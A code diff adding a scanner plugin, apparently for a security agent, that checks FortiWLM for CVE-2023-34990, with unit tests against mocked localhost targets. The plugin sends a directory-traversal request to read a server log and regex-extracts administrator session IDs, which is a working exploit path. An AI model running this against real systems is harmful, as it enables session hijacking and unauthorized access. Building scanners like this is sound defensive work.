diff --git a/agent/exploits/cve_2023_34990.py b/agent/exploits/cve_2023_34990.py new file mode 100644 index 0000000..5cc8ab1 --- /dev/null +++ b/agent/exploits/cve_2023_34990.py @@ -0,0 +1,89 @@ +"""Agent Asteroid implementation for CVE-2023-34990""" + +import re +import datetime + +import requests + +from agent import definitions +from agent import exploits_registry +from agent.exploits import webexploit + +DEFAULT_TIMEOUT = datetime.timedelta(seconds=90) + +VULNERABILITY_TITLE = "FortiWLM Directory Traversal" +VULNERABILITY_REFERENCE = "CVE-2023-34990" +VULNERABILITY_DESCRIPTION = ( + "CVE-2023-34990 is a critical flaw in FortiWLM that allows unauthenticated attackers to exploit the /ems/cgi-bin/ezrf_lighttpd.cgi " + "endpoint by injecting directory traversal sequences (../) into the imagename parameter. " + "This grants attackers access to sensitive log files, including administrator session tokens, enabling session hijacking and " + "access to restricted endpoints. The following versions of FortiWLM are impacted by CVE-2023-34990:" + "FortiWLM 8.5: Versions 8.5.0 through 8.5.4" + "FortiWLM 8.6: Versions 8.6.0 through 8.6.5" +) +RISK_RATING = "CRITICAL" + +EXPLOIT_URL = "/ems/cgi-bin/ezrf_lighttpd.cgi?op_type=upgradelogs&imagename=../../../../../../../../../data/apps/nms/logs/httpd_error_log" + + +def _fetch_log_file(target_url: str) -> str | None: + """ + Sends a crafted request to fetch the log file containing sensitive information. + + Args: + target_url: The full URL to the vulnerable endpoint. + + Returns: + The content of the log file, if accessible, or an empty string. + """ + try: + response = requests.get( + target_url, timeout=DEFAULT_TIMEOUT.seconds, verify=False + ) + if response.status_code == 200: + return response.text + except requests.RequestException: + pass + + return None + + +def _extract_session_id(log_content: str) -> list[str]: + """ + Extracts session IDs from the log file content. + + Args: + log_content: The content of the fetched log file. + + Returns: + A list of extracted session IDs. + """ + session_ids = re.findall(r"sessionid=([A-F0-9]+)", log_content) + return session_ids + + +@exploits_registry.register +class CVE202334990Exploit(webexploit.WebExploit): + accept_request = definitions.Request(method="GET", path="/") + accept_pattern = [re.compile("FortiWLM Login")] + + def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + vulnerabilities: list[definitions.Vulnerability] = [] + + target_url = f"{target.origin}{EXPLOIT_URL}" + log_content = _fetch_log_file(target_url) + + if log_content is not None: + session_ids = _extract_session_id(log_content) + if len(session_ids) > 0: + vulnerability = self._create_vulnerability(target) + vulnerabilities.append(vulnerability) + + return vulnerabilities + + metadata = definitions.VulnerabilityMetadata( + title=VULNERABILITY_TITLE, + description=VULNERABILITY_DESCRIPTION, + reference=VULNERABILITY_REFERENCE, + risk_rating=RISK_RATING, + ) diff --git a/tests/exploits/cve_2023_34990_test.py b/tests/exploits/cve_2023_34990_test.py new file mode 100644 index 0000000..a9d8f30 --- /dev/null +++ b/tests/exploits/cve_2023_34990_test.py @@ -0,0 +1,121 @@ +"""Unit tests for Agent Asteroid: CVE-2023-34990""" + +import requests +import requests_mock as req_mock +from pytest_mock import plugin + +from agent import definitions +from agent.exploits import cve_2023_34990 + + +def testCVE202334990_whenVulnerable_reportFinding( + mocker: plugin.MockerFixture, + requests_mock: req_mock.mocker.Mocker, +) -> None: + """CVE-2023-34990 unit test: case when target is vulnerable.""" + + mock_fetch_log_file = mocker.patch( + "agent.exploits.cve_2023_34990._fetch_log_file", + return_value=( + """""" + ), + ) + requests_mock.get( + "http://localhost:80/", + text="""FortiWLM Login""", + status_code=200, + ) + + exploit_instance = cve_2023_34990.CVE202334990Exploit() + + target = definitions.Target("http", "localhost", 80) + + accept = exploit_instance.accept(target) + vulnerabilities = exploit_instance.check(target) + + assert accept is True + assert len(vulnerabilities) == 1 + vulnerability = vulnerabilities[0] + assert vulnerability.entry.title == cve_2023_34990.VULNERABILITY_TITLE + assert vulnerability.entry.risk_rating == "CRITICAL" + assert vulnerability.technical_detail == ( + "http://localhost:80 is vulnerable to CVE-2023-34990, FortiWLM Directory Traversal" + ) + mock_fetch_log_file.assert_called_once_with( + "http://localhost:80/ems/cgi-bin/ezrf_lighttpd.cgi?op_type=upgradelogs&imagename=../../../../../../../../../data/apps/nms/logs/httpd_error_log" + ) + + +def testCVE202334990_whenSafe_reportNothing( + mocker: plugin.MockerFixture, + requests_mock: req_mock.mocker.Mocker, +) -> None: + """CVE-2023-34990 unit test: case when target is not vulnerable.""" + + mock_fetch_log_file = mocker.patch( + "agent.exploits.cve_2023_34990._fetch_log_file", return_value=None + ) + requests_mock.get( + "http://localhost:80/", + text="""FortiWLM Login""", + status_code=200, + ) + + exploit_instance = cve_2023_34990.CVE202334990Exploit() + + target = definitions.Target("http", "localhost", 80) + + accept = exploit_instance.accept(target) + vulnerabilities = exploit_instance.check(target) + + assert accept is True + assert len(vulnerabilities) == 0 + mock_fetch_log_file.assert_called_once_with( + "http://localhost:80/ems/cgi-bin/ezrf_lighttpd.cgi?op_type=upgradelogs&imagename=../../../../../../../../../data/apps/nms/logs/httpd_error_log" + ) + + +def testCVE202334990_whenError_fetchLogFileHandlesErrorGracefully( + requests_mock: req_mock.mocker.Mocker, +) -> None: + """CVE-2023-34990 unit test: case when _fetch_log_file encounters an error gracefully and returns no vulnerabilities.""" + + requests_mock.get( + "http://localhost:80/", + text="""FortiWLM Login""", + status_code=200, + ) + requests_mock.get( + "http://localhost:80/ems/cgi-bin/ezrf_lighttpd.cgi", + exc=requests.exceptions.RequestException("Simulated request exception"), + ) + + exploit_instance = cve_2023_34990.CVE202334990Exploit() + target = definitions.Target("http", "localhost", 80) + + accept = exploit_instance.accept(target) + vulnerabilities = exploit_instance.check(target) + + assert accept is True + assert len(vulnerabilities) == 0 + + +def testCVE202334990_whenLogFileFetchSucceeds_vulnerabilitiesFound( + requests_mock: req_mock.mocker.Mocker, +) -> None: + """CVE-2023-34990 unit test: case when _fetch_log_file successfully fetches the log file.""" + + mock_log_content = "sessionid=ABC1234 sessionid=XYZ5678" + requests_mock.get( + "http://localhost:80/ems/cgi-bin/ezrf_lighttpd.cgi", + text=mock_log_content, + status_code=200, + ) + + exploit_instance = cve_2023_34990.CVE202334990Exploit() + target = definitions.Target("http", "localhost", 80) + + vulnerabilities = exploit_instance.check(target) + + assert len(vulnerabilities) == 1 + assert vulnerabilities[0].entry.title == cve_2023_34990.VULNERABILITY_TITLE